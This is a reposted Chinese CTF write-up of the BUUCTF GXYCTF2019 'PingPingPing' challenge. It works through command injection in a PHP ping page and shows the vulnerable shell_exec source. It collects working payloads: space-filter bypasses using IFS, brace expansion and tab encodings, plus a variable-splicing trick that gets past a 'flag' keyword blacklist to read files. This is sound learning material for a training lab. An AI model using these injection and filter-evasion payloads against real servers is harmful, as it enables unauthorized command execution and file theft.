BUUCTF[GXYCTF2019]PingPingPing

Posted 热绪

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF[GXYCTF2019]PingPingPing相关的知识,希望对你有一定的参考价值。

测试:?ip=127.0.0.1

测试:?ip=1&whoami

怀疑&被过滤,使用;替代:

发现可以,然后我们看看ls

?ip=1;ls

测试:/?ip=1;cat /flag

被过滤掉了某些符号。

我们找到空格的各种绕过方式进行一一尝试:

http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;{cat,flag}

http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat{IFS}flag

http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat${IFS}flag

http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat${IFS}$9flag
空格绕过方法:
< 
<> 

IFS
{IFS}
${IFS}
${IFS}$9
$IFS
$IFS$1 //$1改成$加其他数字貌似都行

{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\\x09./flag.php';$X       (\\x09表示tab,也可以用\\x20)


成功:
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat$IFSflag

http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat$IFS$1flag

在测试的过程中,我们发现:在使用

http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat${IFS}/flag

的时候,{},/都被过滤掉了

我们绕过空格读取falg.php发现:

没什么东西。

我们试着读一下index.php看看:

emmmmm代码审计一下。


/?ip=
|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match)){
    echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{20}]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match);
     #过滤
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
#过滤//
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
#过滤/bash/
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
#过滤f  l  a g 匹配一个字符串中,是否按顺序出现过flag四个字母
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
    
";
  print_r($a);
}

?>

目标明确,我们还得绕过flag的约束,想到了之前写过命令执行绕waf,想到了赋值拼接绕过方式:

http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=127.0.0.1;xu=ag;re=fl;cat$IFS$1$re$xu.php

拿到flag。

总结思路:

首先需要绕过空格以便使用cat命令。
查看flag无果,然后查看index出现源码,发现了过滤器机制,进行绕过。

 

以上是关于BUUCTF[GXYCTF2019]PingPingPing的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF[GXYCTF2019]BabySQli

BUUCTF [GXYCTF2019]BabyUpload

BUUCTF[GXYCTF2019]PingPingPing

BUUCTF-[GXYCTF2019]Ping Ping Ping(命令执行)

buuctf 两道GXYCTF逆向

BUUCTF-web